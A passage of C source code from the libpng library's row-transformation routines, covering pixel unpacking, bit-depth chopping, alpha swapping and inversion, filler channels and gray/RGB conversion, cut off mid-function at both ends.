PNG_READ_EXPAND_16_SUPPORTED if (png_ptr->transformations & PNG_EXPAND_16 && info_ptr->bit_depth == 8 && info_ptr->color_type != PNG_COLOR_TYPE_PALETTE) { info_ptr->bit_depth = 16; } #endif #ifdef PNG_READ_BACKGROUND_SUPPORTED if (png_ptr->transformations & PNG_BACKGROUND) { info_ptr->color_type = (png_byte)(info_ptr->color_type & ~PNG_COLOR_MASK_ALPHA); info_ptr->num_trans = 0; info_ptr->background = png_ptr->background; } #endif #ifdef PNG_READ_GAMMA_SUPPORTED if (png_ptr->transformations & PNG_GAMMA) { info_ptr->gamma = png_ptr->gamma; } #endif #ifdef PNG_READ_16_TO_8_SUPPORTED #ifdef PNG_READ_16BIT_SUPPORTED if ((png_ptr->transformations & PNG_16_TO_8) && (info_ptr->bit_depth == 16)) info_ptr->bit_depth = 8; #else /* Force chopping 16-bit input down to 8 */ if (info_ptr->bit_depth == 16) { png_ptr->transformations |=PNG_16_TO_8; info_ptr->bit_depth = 8; } #endif #endif #ifdef PNG_READ_GRAY_TO_RGB_SUPPORTED if (png_ptr->transformations & PNG_GRAY_TO_RGB) info_ptr->color_type |= PNG_COLOR_MASK_COLOR; #endif #ifdef PNG_READ_RGB_TO_GRAY_SUPPORTED if (png_ptr->transformations & PNG_RGB_TO_GRAY) info_ptr->color_type &= ~PNG_COLOR_MASK_COLOR; #endif #ifdef PNG_READ_QUANTIZE_SUPPORTED if (png_ptr->transformations & PNG_QUANTIZE) { if (((info_ptr->color_type == PNG_COLOR_TYPE_RGB) || (info_ptr->color_type == PNG_COLOR_TYPE_RGB_ALPHA)) && png_ptr->palette_lookup && info_ptr->bit_depth == 8) { info_ptr->color_type = PNG_COLOR_TYPE_PALETTE; } } #endif #ifdef PNG_READ_PACK_SUPPORTED if ((png_ptr->transformations & PNG_PACK) && (info_ptr->bit_depth < 8)) info_ptr->bit_depth = 8; #endif if (info_ptr->color_type == PNG_COLOR_TYPE_PALETTE) info_ptr->channels = 1; else if (info_ptr->color_type & PNG_COLOR_MASK_COLOR) info_ptr->channels = 3; else info_ptr->channels = 1; #ifdef PNG_READ_STRIP_ALPHA_SUPPORTED if (png_ptr->transformations & PNG_STRIP_ALPHA) info_ptr->color_type &= ~PNG_COLOR_MASK_ALPHA; #endif if (info_ptr->color_type & PNG_COLOR_MASK_ALPHA) info_ptr->channels++; #ifdef PNG_READ_FILLER_SUPPORTED /* STRIP_ALPHA and FILLER allowed: MASK_ALPHA bit stripped above */ if ((png_ptr->transformations & PNG_FILLER) && ((info_ptr->color_type == PNG_COLOR_TYPE_RGB) || (info_ptr->color_type == PNG_COLOR_TYPE_GRAY))) { info_ptr->channels++; /* If adding a true alpha channel not just filler */ if (png_ptr->transformations & PNG_ADD_ALPHA) info_ptr->color_type |= PNG_COLOR_MASK_ALPHA; } #endif #if defined(PNG_USER_TRANSFORM_PTR_SUPPORTED) && \ defined(PNG_READ_USER_TRANSFORM_SUPPORTED) if (png_ptr->transformations & PNG_USER_TRANSFORM) { if (info_ptr->bit_depth < png_ptr->user_transform_depth) info_ptr->bit_depth = png_ptr->user_transform_depth; if (info_ptr->channels < png_ptr->user_transform_channels) info_ptr->channels = png_ptr->user_transform_channels; } #endif info_ptr->pixel_depth = (png_byte)(info_ptr->channels * info_ptr->bit_depth); info_ptr->rowbytes = PNG_ROWBYTES(info_ptr->pixel_depth, info_ptr->width); #ifndef PNG_READ_EXPAND_SUPPORTED if (png_ptr) return; #endif } /* Transform the row. The order of transformations is significant, * and is very touchy. If you add a transformation, take care to * decide how it fits in with the other transformations here. */ void /* PRIVATE */ png_do_read_transformations(png_structp png_ptr) { png_debug(1, "in png_do_read_transformations"); if (png_ptr->row_buf == NULL) { #ifdef PNG_CONSOLE_IO_SUPPORTED char msg[50]; png_snprintf2(msg, 50, "NULL row buffer for row %ld, pass %d", (long)png_ptr->row_number, png_ptr->pass); png_error(png_ptr, msg); #else png_error(png_ptr, "NULL row buffer"); #endif } #ifdef PNG_WARN_UNINITIALIZED_ROW if (!(png_ptr->flags & PNG_FLAG_ROW_INIT)) /* Application has failed to call either png_read_start_image() * or png_read_update_info() after setting transforms that expand * pixels. This check added to libpng-1.2.19 */ #if (PNG_WARN_UNINITIALIZED_ROW==1) png_error(png_ptr, "Uninitialized row"); #else png_warning(png_ptr, "Uninitialized row"); #endif #endif #ifdef PNG_READ_EXPAND_SUPPORTED if (png_ptr->transformations & PNG_EXPAND) { if (png_ptr->row_info.color_type == PNG_COLOR_TYPE_PALETTE) { png_do_expand_palette(&(png_ptr->row_info), png_ptr->row_buf + 1, png_ptr->palette, png_ptr->trans_alpha, png_ptr->num_trans); } else { if (png_ptr->num_trans && (png_ptr->transformations & PNG_EXPAND_tRNS)) png_do_expand(&(png_ptr->row_info), png_ptr->row_buf + 1, &(png_ptr->trans_color)); else png_do_expand(&(png_ptr->row_info), png_ptr->row_buf + 1, NULL); } } #endif /* Delay the 'expand 16' step until later for efficiency, so that the * intermediate steps work with 8 bit data. */ #ifdef PNG_READ_STRIP_ALPHA_SUPPORTED if ((png_ptr->transformations & PNG_STRIP_ALPHA) && (png_ptr->row_info.color_type == PNG_COLOR_TYPE_RGB_ALPHA || png_ptr->row_info.color_type == PNG_COLOR_TYPE_GRAY_ALPHA)) png_do_strip_channel(&(png_ptr->row_info), png_ptr->row_buf + 1, 0/*!at_start, because SWAP_ALPHA happens later*/); #endif #ifdef PNG_READ_RGB_TO_GRAY_SUPPORTED if (png_ptr->transformations & PNG_RGB_TO_GRAY) { int rgb_error = png_do_rgb_to_gray(png_ptr, &(png_ptr->row_info), png_ptr->row_buf + 1); if (rgb_error) { png_ptr->rgb_to_gray_status=1; if ((png_ptr->transformations & PNG_RGB_TO_GRAY) == PNG_RGB_TO_GRAY_WARN) png_warning(png_ptr, "png_do_rgb_to_gray found nongray pixel"); if ((png_ptr->transformations & PNG_RGB_TO_GRAY) == PNG_RGB_TO_GRAY_ERR) png_error(png_ptr, "png_do_rgb_to_gray found nongray pixel"); } } #endif /* From Andreas Dilger e-mail to png-implement, 26 March 1998: * * In most cases, the "simple transparency" should be done prior to doing * gray-to-RGB, or you will have to test 3x as many bytes to check if a * pixel is transparent. You would also need to make sure that the * transparency information is upgraded to RGB. * * To summarize, the current flow is: * - Gray + simple transparency -> compare 1 or 2 gray bytes and composite * with background "in place" if transparent, * convert to RGB if necessary * - Gray + alpha -> composite with gray background and remove alpha bytes, * convert to RGB if necessary * * To support RGB backgrounds for gray images we need: * - Gray + simple transparency -> convert to RGB + simple transparency, * compare 3 or 6 bytes and composite with * background "in place" if transparent * (3x compare/pixel compared to doing * composite with gray bkgrnd) * - Gray + alpha -> convert to RGB + alpha, composite with background and * remove alpha bytes (3x float * operations/pixel compared with composite * on gray background) * * Greg's change will do this. The reason it wasn't done before is for * performance, as this increases the per-pixel operations. If we would check * in advance if the background was gray or RGB, and position the gray-to-RGB * transform appropriately, then it would save a lot of work/time. */ #ifdef PNG_READ_GRAY_TO_RGB_SUPPORTED /* If gray -> RGB, do so now only if background is non-gray; else do later * for performance reasons */ if ((png_ptr->transformations & PNG_GRAY_TO_RGB) && !(png_ptr->mode & PNG_BACKGROUND_IS_GRAY)) png_do_gray_to_rgb(&(png_ptr->row_info), png_ptr->row_buf + 1); #endif #ifdef PNG_READ_BACKGROUND_SUPPORTED if ((png_ptr->transformations & PNG_BACKGROUND) && ((png_ptr->num_trans != 0) || (png_ptr->color_type & PNG_COLOR_MASK_ALPHA))) png_do_background(&(png_ptr->row_info), png_ptr->row_buf + 1, &(png_ptr->trans_color), &(png_ptr->background) #ifdef PNG_READ_GAMMA_SUPPORTED , &(png_ptr->background_1), png_ptr->gamma_table, png_ptr->gamma_from_1, png_ptr->gamma_to_1, png_ptr->gamma_16_table, png_ptr->gamma_16_from_1, png_ptr->gamma_16_to_1, png_ptr->gamma_shift #endif ); #endif #ifdef PNG_READ_GAMMA_SUPPORTED if ((png_ptr->transformations & PNG_GAMMA) && #ifdef PNG_READ_BACKGROUND_SUPPORTED !((png_ptr->transformations & PNG_BACKGROUND) && ((png_ptr->num_trans != 0) || (png_ptr->color_type & PNG_COLOR_MASK_ALPHA))) && #endif (png_ptr->color_type != PNG_COLOR_TYPE_PALETTE)) png_do_gamma(&(png_ptr->row_info), png_ptr->row_buf + 1, png_ptr->gamma_table, png_ptr->gamma_16_table, png_ptr->gamma_shift); #endif #ifdef PNG_READ_16_TO_8_SUPPORTED if (png_ptr->transformations & PNG_16_TO_8) png_do_chop(&(png_ptr->row_info), png_ptr->row_buf + 1); #endif #ifdef PNG_READ_QUANTIZE_SUPPORTED if (png_ptr->transformations & PNG_QUANTIZE) { png_do_quantize(&(png_ptr->row_info), png_ptr->row_buf + 1, png_ptr->palette_lookup, png_ptr->quantize_index); if (png_ptr->row_info.rowbytes == 0) png_error(png_ptr, "png_do_quantize returned rowbytes=0"); } #endif /* PNG_READ_QUANTIZE_SUPPORTED */ #ifdef PNG_READ_EXPAND_16_SUPPORTED /* Do the expansion now, after all the arithmetic has been done. Notice * that previous transformations can handle the PNG_EXPAND_16 flag if this * is efficient (particularly true in the case of gamma correction, where * better accuracy results faster!) */ if (png_ptr->transformations & PNG_EXPAND_16) png_do_expand_16(&png_ptr->row_info, png_ptr->row_buf + 1); #endif #ifdef PNG_READ_INVERT_SUPPORTED if (png_ptr->transformations & PNG_INVERT_MONO) png_do_invert(&(png_ptr->row_info), png_ptr->row_buf + 1); #endif #ifdef PNG_READ_SHIFT_SUPPORTED if (png_ptr->transformations & PNG_SHIFT) png_do_unshift(&(png_ptr->row_info), png_ptr->row_buf + 1, &(png_ptr->shift)); #endif #ifdef PNG_READ_PACK_SUPPORTED if (png_ptr->transformations & PNG_PACK) png_do_unpack(&(png_ptr->row_info), png_ptr->row_buf + 1); #endif #ifdef PNG_READ_BGR_SUPPORTED if (png_ptr->transformations & PNG_BGR) png_do_bgr(&(png_ptr->row_info), png_ptr->row_buf + 1); #endif #ifdef PNG_READ_PACKSWAP_SUPPORTED if (png_ptr->transformations & PNG_PACKSWAP) png_do_packswap(&(png_ptr->row_info), png_ptr->row_buf + 1); #endif #ifdef PNG_READ_GRAY_TO_RGB_SUPPORTED /*NOTE: this must be in the wrong place - what happens if BGR is set too? * Need pngvalid to test this combo. */ /* If gray -> RGB, do so now only if we did not do so above */ if ((png_ptr->transformations & PNG_GRAY_TO_RGB) && (png_ptr->mode & PNG_BACKGROUND_IS_GRAY)) png_do_gray_to_rgb(&(png_ptr->row_info), png_ptr->row_buf + 1); #endif #ifdef PNG_READ_FILLER_SUPPORTED if (png_ptr->transformations & PNG_FILLER) png_do_read_filler(&(png_ptr->row_info), png_ptr->row_buf + 1, (png_uint_32)png_ptr->filler, png_ptr->flags); #endif #ifdef PNG_READ_INVERT_ALPHA_SUPPORTED if (png_ptr->transformations & PNG_INVERT_ALPHA) png_do_read_invert_alpha(&(png_ptr->row_info), png_ptr->row_buf + 1); #endif #ifdef PNG_READ_SWAP_ALPHA_SUPPORTED if (png_ptr->transformations & PNG_SWAP_ALPHA) png_do_read_swap_alpha(&(png_ptr->row_info), png_ptr->row_buf + 1); #endif #ifdef PNG_READ_16BIT_SUPPORTED #ifdef PNG_READ_SWAP_SUPPORTED if (png_ptr->transformations & PNG_SWAP_BYTES) png_do_swap(&(png_ptr->row_info), png_ptr->row_buf + 1); #endif #endif #ifdef PNG_READ_USER_TRANSFORM_SUPPORTED if (png_ptr->transformations & PNG_USER_TRANSFORM) { if (png_ptr->read_user_transform_fn != NULL) (*(png_ptr->read_user_transform_fn)) /* User read transform function */ (png_ptr, /* png_ptr */ &(png_ptr->row_info), /* row_info: */ /* png_uint_32 width; width of row */ /* png_size_t rowbytes; number of bytes in row */ /* png_byte color_type; color type of pixels */ /* png_byte bit_depth; bit depth of samples */ /* png_byte channels; number of channels (1-4) */ /* png_byte pixel_depth; bits per pixel (depth*channels) */ png_ptr->row_buf + 1); /* start of pixel data for row */ #ifdef PNG_USER_TRANSFORM_PTR_SUPPORTED if (png_ptr->user_transform_depth) png_ptr->row_info.bit_depth = png_ptr->user_transform_depth; if (png_ptr->user_transform_channels) png_ptr->row_info.channels = png_ptr->user_transform_channels; #endif png_ptr->row_info.pixel_depth = (png_byte)(png_ptr->row_info.bit_depth * png_ptr->row_info.channels); png_ptr->row_info.rowbytes = PNG_ROWBYTES(png_ptr->row_info.pixel_depth, png_ptr->row_info.width); } #endif } #ifdef PNG_READ_PACK_SUPPORTED /* Unpack pixels of 1, 2, or 4 bits per pixel into 1 byte per pixel, * without changing the actual values. Thus, if you had a row with * a bit depth of 1, you would end up with bytes that only contained * the numbers 0 or 1. If you would rather they contain 0 and 255, use * png_do_shift() after this. */ void /* PRIVATE */ png_do_unpack(png_row_infop row_info, png_bytep row) { png_debug(1, "in png_do_unpack"); if (row_info->bit_depth < 8) { png_uint_32 i; png_uint_32 row_width=row_info->width; switch (row_info->bit_depth) { case 1: { png_bytep sp = row + (png_size_t)((row_width - 1) >> 3); png_bytep dp = row + (png_size_t)row_width - 1; png_uint_32 shift = 7 - (int)((row_width + 7) & 0x07); for (i = 0; i < row_width; i++) { *dp = (png_byte)((*sp >> shift) & 0x01); if (shift == 7) { shift = 0; sp--; } else shift++; dp--; } break; } case 2: { png_bytep sp = row + (png_size_t)((row_width - 1) >> 2); png_bytep dp = row + (png_size_t)row_width - 1; png_uint_32 shift = (int)((3 - ((row_width + 3) & 0x03)) << 1); for (i = 0; i < row_width; i++) { *dp = (png_byte)((*sp >> shift) & 0x03); if (shift == 6) { shift = 0; sp--; } else shift += 2; dp--; } break; } case 4: { png_bytep sp = row + (png_size_t)((row_width - 1) >> 1); png_bytep dp = row + (png_size_t)row_width - 1; png_uint_32 shift = (int)((1 - ((row_width + 1) & 0x01)) << 2); for (i = 0; i < row_width; i++) { *dp = (png_byte)((*sp >> shift) & 0x0f); if (shift == 4) { shift = 0; sp--; } else shift = 4; dp--; } break; } default: break; } row_info->bit_depth = 8; row_info->pixel_depth = (png_byte)(8 * row_info->channels); row_info->rowbytes = row_width * row_info->channels; } } #endif #ifdef PNG_READ_SHIFT_SUPPORTED /* Reverse the effects of png_do_shift. This routine merely shifts the * pixels back to their significant bits values. Thus, if you have * a row of bit depth 8, but only 5 are significant, this will shift * the values back to 0 through 31. */ void /* PRIVATE */ png_do_unshift(png_row_infop row_info, png_bytep row, png_const_color_8p sig_bits) { png_debug(1, "in png_do_unshift"); if ( row_info->color_type != PNG_COLOR_TYPE_PALETTE) { int shift[4]; int channels = 0; int c; png_uint_16 value = 0; png_uint_32 row_width = row_info->width; if (row_info->color_type & PNG_COLOR_MASK_COLOR) { shift[channels++] = row_info->bit_depth - sig_bits->red; shift[channels++] = row_info->bit_depth - sig_bits->green; shift[channels++] = row_info->bit_depth - sig_bits->blue; } else { shift[channels++] = row_info->bit_depth - sig_bits->gray; } if (row_info->color_type & PNG_COLOR_MASK_ALPHA) { shift[channels++] = row_info->bit_depth - sig_bits->alpha; } for (c = 0; c < channels; c++) { if (shift[c] <= 0) shift[c] = 0; else value = 1; } if (!value) return; switch (row_info->bit_depth) { default: break; case 2: { png_bytep bp; png_size_t i; png_size_t istop = row_info->rowbytes; for (bp = row, i = 0; i < istop; i++) { *bp >>= 1; *bp++ &= 0x55; } break; } case 4: { png_bytep bp = row; png_size_t i; png_size_t istop = row_info->rowbytes; png_byte mask = (png_byte)((((int)0xf0 >> shift[0]) & (int)0xf0) | (png_byte)((int)0xf >> shift[0])); for (i = 0; i < istop; i++) { *bp >>= shift[0]; *bp++ &= mask; } break; } case 8: { png_bytep bp = row; png_uint_32 i; png_uint_32 istop = row_width * channels; for (i = 0; i < istop; i++) { *bp++ >>= shift[i%channels]; } break; } #ifdef PNG_READ_16BIT_SUPPORTED case 16: { png_bytep bp = row; png_uint_32 i; png_uint_32 istop = channels * row_width; for (i = 0; i < istop; i++) { value = (png_uint_16)((*bp << 8) + *(bp + 1)); value >>= shift[i%channels]; *bp++ = (png_byte)(value >> 8); *bp++ = (png_byte)(value & 0xff); } break; } #endif } } } #endif #ifdef PNG_READ_16_TO_8_SUPPORTED /* Chop rows of bit depth 16 down to 8 */ void /* PRIVATE */ png_do_chop(png_row_infop row_info, png_bytep row) { png_debug(1, "in png_do_chop"); if (row_info->bit_depth == 16) { png_bytep sp = row; png_bytep dp = row; png_uint_32 i; png_uint_32 istop = row_info->width * row_info->channels; for (i = 0; i<istop; i++, sp += 2, dp++) { #ifdef PNG_READ_16_TO_8_ACCURATE_SCALE_SUPPORTED /* This does a more accurate scaling of the 16-bit color * value, rather than a simple low-byte truncation. * * What the ideal calculation should be: * *dp = (((((png_uint_32)(*sp) << 8) | * (png_uint_32)(*(sp + 1))) * 255 + 127) * / (png_uint_32)65535L; * * GRR: no, I think this is what it really should be: * *dp = (((((png_uint_32)(*sp) << 8) | * (png_uint_32)(*(sp + 1))) + 128L) * / (png_uint_32)257L; * * GRR: here's the exact calculation with shifts: * temp = (((png_uint_32)(*sp) << 8) | * (png_uint_32)(*(sp + 1))) + 128L; * *dp = (temp - (temp >> 8)) >> 8; * * Approximate calculation with shift/add instead of multiply/divide: * *dp = ((((png_uint_32)(*sp) << 8) | * (png_uint_32)((int)(*(sp + 1)) - *sp)) + 128) >> 8; * * What we actually do to avoid extra shifting and conversion: */ *dp = *sp + ((((int)(*(sp + 1)) - *sp) > 128) ? 1 : 0); #else /* Simply discard the low order byte */ *dp = *sp; #endif } row_info->bit_depth = 8; row_info->pixel_depth = (png_byte)(8 * row_info->channels); row_info->rowbytes = row_info->width * row_info->channels; } } #endif #ifdef PNG_READ_SWAP_ALPHA_SUPPORTED void /* PRIVATE */ png_do_read_swap_alpha(png_row_infop row_info, png_bytep row) { png_debug(1, "in png_do_read_swap_alpha"); { png_uint_32 row_width = row_info->width; if (row_info->color_type == PNG_COLOR_TYPE_RGB_ALPHA) { /* This converts from RGBA to ARGB */ if (row_info->bit_depth == 8) { png_bytep sp = row + row_info->rowbytes; png_bytep dp = sp; png_byte save; png_uint_32 i; for (i = 0; i < row_width; i++) { save = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = save; } } #ifdef PNG_READ_16BIT_SUPPORTED /* This converts from RRGGBBAA to AARRGGBB */ else { png_bytep sp = row + row_info->rowbytes; png_bytep dp = sp; png_byte save[2]; png_uint_32 i; for (i = 0; i < row_width; i++) { save[0] = *(--sp); save[1] = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = save[0]; *(--dp) = save[1]; } } #endif } else if (row_info->color_type == PNG_COLOR_TYPE_GRAY_ALPHA) { /* This converts from GA to AG */ if (row_info->bit_depth == 8) { png_bytep sp = row + row_info->rowbytes; png_bytep dp = sp; png_byte save; png_uint_32 i; for (i = 0; i < row_width; i++) { save = *(--sp); *(--dp) = *(--sp); *(--dp) = save; } } #ifdef PNG_READ_16BIT_SUPPORTED /* This converts from GGAA to AAGG */ else { png_bytep sp = row + row_info->rowbytes; png_bytep dp = sp; png_byte save[2]; png_uint_32 i; for (i = 0; i < row_width; i++) { save[0] = *(--sp); save[1] = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = save[0]; *(--dp) = save[1]; } } #endif } } } #endif #ifdef PNG_READ_INVERT_ALPHA_SUPPORTED void /* PRIVATE */ png_do_read_invert_alpha(png_row_infop row_info, png_bytep row) { png_uint_32 row_width; png_debug(1, "in png_do_read_invert_alpha"); row_width = row_info->width; if (row_info->color_type == PNG_COLOR_TYPE_RGB_ALPHA) { if (row_info->bit_depth == 8) { /* This inverts the alpha channel in RGBA */ png_bytep sp = row + row_info->rowbytes; png_bytep dp = sp; png_uint_32 i; for (i = 0; i < row_width; i++) { *(--dp) = (png_byte)(255 - *(--sp)); /* This does nothing: *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); We can replace it with: */ sp-=3; dp=sp; } } #ifdef PNG_READ_16BIT_SUPPORTED /* This inverts the alpha channel in RRGGBBAA */ else { png_bytep sp = row + row_info->rowbytes; png_bytep dp = sp; png_uint_32 i; for (i = 0; i < row_width; i++) { *(--dp) = (png_byte)(255 - *(--sp)); *(--dp) = (png_byte)(255 - *(--sp)); /* This does nothing: *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); We can replace it with: */ sp-=6; dp=sp; } } #endif } else if (row_info->color_type == PNG_COLOR_TYPE_GRAY_ALPHA) { if (row_info->bit_depth == 8) { /* This inverts the alpha channel in GA */ png_bytep sp = row + row_info->rowbytes; png_bytep dp = sp; png_uint_32 i; for (i = 0; i < row_width; i++) { *(--dp) = (png_byte)(255 - *(--sp)); *(--dp) = *(--sp); } } #ifdef PNG_READ_16BIT_SUPPORTED else { /* This inverts the alpha channel in GGAA */ png_bytep sp = row + row_info->rowbytes; png_bytep dp = sp; png_uint_32 i; for (i = 0; i < row_width; i++) { *(--dp) = (png_byte)(255 - *(--sp)); *(--dp) = (png_byte)(255 - *(--sp)); /* *(--dp) = *(--sp); *(--dp) = *(--sp); */ sp-=2; dp=sp; } } #endif } } #endif #ifdef PNG_READ_FILLER_SUPPORTED /* Add filler channel if we have RGB color */ void /* PRIVATE */ png_do_read_filler(png_row_infop row_info, png_bytep row, png_uint_32 filler, png_uint_32 flags) { png_uint_32 i; png_uint_32 row_width = row_info->width; #ifdef PNG_READ_16BIT_SUPPORTED png_byte hi_filler = (png_byte)((filler>>8) & 0xff); #endif png_byte lo_filler = (png_byte)(filler & 0xff); png_debug(1, "in png_do_read_filler"); if ( row_info->color_type == PNG_COLOR_TYPE_GRAY) { if (row_info->bit_depth == 8) { if (flags & PNG_FLAG_FILLER_AFTER) { /* This changes the data from G to GX */ png_bytep sp = row + (png_size_t)row_width; png_bytep dp = sp + (png_size_t)row_width; for (i = 1; i < row_width; i++) { *(--dp) = lo_filler; *(--dp) = *(--sp); } *(--dp) = lo_filler; row_info->channels = 2; row_info->pixel_depth = 16; row_info->rowbytes = row_width * 2; } else { /* This changes the data from G to XG */ png_bytep sp = row + (png_size_t)row_width; png_bytep dp = sp + (png_size_t)row_width; for (i = 0; i < row_width; i++) { *(--dp) = *(--sp); *(--dp) = lo_filler; } row_info->channels = 2; row_info->pixel_depth = 16; row_info->rowbytes = row_width * 2; } } #ifdef PNG_READ_16BIT_SUPPORTED else if (row_info->bit_depth == 16) { if (flags & PNG_FLAG_FILLER_AFTER) { /* This changes the data from GG to GGXX */ png_bytep sp = row + (png_size_t)row_width * 2; png_bytep dp = sp + (png_size_t)row_width * 2; for (i = 1; i < row_width; i++) { *(--dp) = hi_filler; *(--dp) = lo_filler; *(--dp) = *(--sp); *(--dp) = *(--sp); } *(--dp) = hi_filler; *(--dp) = lo_filler; row_info->channels = 2; row_info->pixel_depth = 32; row_info->rowbytes = row_width * 4; } else { /* This changes the data from GG to XXGG */ png_bytep sp = row + (png_size_t)row_width * 2; png_bytep dp = sp + (png_size_t)row_width * 2; for (i = 0; i < row_width; i++) { *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = hi_filler; *(--dp) = lo_filler; } row_info->channels = 2; row_info->pixel_depth = 32; row_info->rowbytes = row_width * 4; } } #endif } /* COLOR_TYPE == GRAY */ else if (row_info->color_type == PNG_COLOR_TYPE_RGB) { if (row_info->bit_depth == 8) { if (flags & PNG_FLAG_FILLER_AFTER) { /* This changes the data from RGB to RGBX */ png_bytep sp = row + (png_size_t)row_width * 3; png_bytep dp = sp + (png_size_t)row_width; for (i = 1; i < row_width; i++) { *(--dp) = lo_filler; *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); } *(--dp) = lo_filler; row_info->channels = 4; row_info->pixel_depth = 32; row_info->rowbytes = row_width * 4; } else { /* This changes the data from RGB to XRGB */ png_bytep sp = row + (png_size_t)row_width * 3; png_bytep dp = sp + (png_size_t)row_width; for (i = 0; i < row_width; i++) { *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = lo_filler; } row_info->channels = 4; row_info->pixel_depth = 32; row_info->rowbytes = row_width * 4; } } #ifdef PNG_READ_16BIT_SUPPORTED else if (row_info->bit_depth == 16) { if (flags & PNG_FLAG_FILLER_AFTER) { /* This changes the data from RRGGBB to RRGGBBXX */ png_bytep sp = row + (png_size_t)row_width * 6; png_bytep dp = sp + (png_size_t)row_width * 2; for (i = 1; i < row_width; i++) { *(--dp) = hi_filler; *(--dp) = lo_filler; *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); } *(--dp) = hi_filler; *(--dp) = lo_filler; row_info->channels = 4; row_info->pixel_depth = 64; row_info->rowbytes = row_width * 8; } else { /* This changes the data from RRGGBB to XXRRGGBB */ png_bytep sp = row + (png_size_t)row_width * 6; png_bytep dp = sp + (png_size_t)row_width * 2; for (i = 0; i < row_width; i++) { *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = *(--sp); *(--dp) = hi_filler; *(--dp) = lo_filler; } row_info->channels = 4; row_info->pixel_depth = 64; row_info->rowbytes = row_width * 8; } } #endif } /* COLOR_TYPE == RGB */ } #endif #ifdef PNG_READ_GRAY_TO_RGB_SUPPORTED /* Expand grayscale files to RGB, with or without alpha */ void /* PRIVATE */ png_do_gray_to_rgb(png_row_infop row_info, png_bytep row) { png_uint_32 i; png_uint_32 row_width = row_info->width; png_debug(1, "in png_do_gray_to_rgb"); if (row_info->bit_depth >= 8 && !(row_info->color_type & PNG_COLOR_MASK_COLOR)) { if (row_info->color_type == PNG_COLOR_TYPE_GRAY) { if (row_info->bit_depth == 8) { /* This changes G to RGB */ png_bytep sp = row + (png_size_t)row_width - 1; png_bytep dp = sp + (png_size_t)row_width * 2; for (i = 0; i < row_width; i++) { *(dp--) = *sp; *(dp--) = *sp; *(dp--) = *(sp--); } } else { /* This changes GG to RRGGBB */ png_bytep sp = row + (png_size_t)row_width * 2 - 1; png_bytep dp = sp + (png_size_t)row_width * 4; for (i = 0; i < row_width; i++) { *(dp--) = *sp; *(dp--) = *(sp - 1); *(dp--) = *sp; *(dp--) = *(sp - 1); *(dp--) = *(sp--); *(dp--) = *(sp--); } } } else if (row_info->color_type == PNG_COLOR_TYPE_GRAY_ALPHA) { if (row_info->bit_depth == 8) { /* This changes GA to RGBA */ png_bytep sp = row + (png_size_t)row_width * 2 - 1; png_bytep dp = sp + (png_size_t)row_width * 2; for (i = 0; i < row_width; i++) { *(dp--) = *(sp--); *(dp--) = *sp; *(dp--) = *sp; *(dp--) = *(sp--); } } else { /* This changes GGAA to RRGGBBAA */ png_bytep sp = row + (png_size_t)row_width * 4 - 1; png_bytep dp = sp + (png_size_t)row_width * 4; for (i = 0; i < row_width; i++) { *(dp--) = *(sp--); *(dp--) = *(sp--); *(dp--) = *sp; *(dp--) = *(sp - 1); *(dp--) = *sp; *(dp--) = *(sp - 1); *(dp--) = *(sp--); *(dp--) = *(sp--); } } } row_info->channels += (png_byte)2; row_info->color_type |= PNG_COLOR_MASK_COLOR; row_info->pixel_depth = (png_byte)(row_info->channels * row_info->bit_depth); row_info->rowbytes = PNG_ROWBYTES(row_info->pixel_depth, row_width); } } #endif #ifdef PNG_READ_RGB_TO_GRAY_SUPPORTED /* Reduce RGB files to grayscale, with or without alpha * using the equation given in Poynton's ColorFAQ at * <http://www.inforamp.net/~poynton/> (THIS LINK IS DEAD June 2008) * New link: * <http://www.poynton.com/notes/colour_and_gamma/> * Charles Poynton poynton at poynton.com * * Y = 0.212671 * R + 0.715160 * G + 0.072169 * B * * We approximate this with * * Y = 0.21268 * R + 0.7151 * G + 0.07217 * B * * which can be expressed with integers as * * Y = (6969 * R + 23434 * G + 2365 * B)/32768 * * The calculation is to be done in a linear colorspace. * * Other integer coefficents can be used via png_set_rgb_to_gray(). */ int /* PRIVATE */ png_do_rgb_to_gray(png_structp png_ptr, png_row_infop row_info, png_bytep row) { png_uint_32 i; png_uint_32 row_width = row_info->width; int rgb_error = 0; png_debug(1, "in png_do_rgb_to_gray"); if (!(row_info->color_type & PNG_COLOR_MASK_PALETTE) && (row_info->color_type & PNG_COLOR_MASK_COLOR)) { png_uint_32 rc = png_ptr->rgb_to_gray_red_coeff; png_uint_32 gc = png_ptr->rgb_to_gray_green_coeff; png_uint_32 bc = png_ptr->rgb_to_gray_blue_coeff; if (row_info->color_type == PNG_COLOR_TYPE_RGB) { if (row_info->bit_depth == 8) { #if defined(PNG_READ_GAMMA_SUPPORTED) || defined(PNG_READ_BACKGROUND_SUPPORTED) if (png_ptr->gamma_from_1 != NULL && png_ptr->gamma_to_1 != NULL) { png_bytep sp = row; png_bytep dp = row; for (i = 0; i < row_width; i++) { png_byte red = png_ptr->gamma_to_1[*(sp++)]; png_byte green = png_ptr->gamma_to_1[*(sp++)]; png_byte blue = png_ptr->gamma_to_1[*(sp++)]; if (red != green || red != blue) { rgb_error |= 1; *(dp++) = png_ptr->gamma_from_1[ (rc*red + gc*green + bc*blue)>>15]; } else *(dp++) = *(sp - 1); } } else #endif { png_bytep sp = row; png_bytep dp = row; for (i = 0; i < row_width; i++) { png_byte red = *(sp++); png_byte green = *(sp++); png_byte blue = *(sp++); if (red != green || red != blue) { rgb_error |= 1; *(dp++) = (png_byte)((rc*red + gc*green + bc*blue)>>15); } else *(dp++) = *(sp - 1); } } } else /* RGB bit_depth == 16 */ { #if 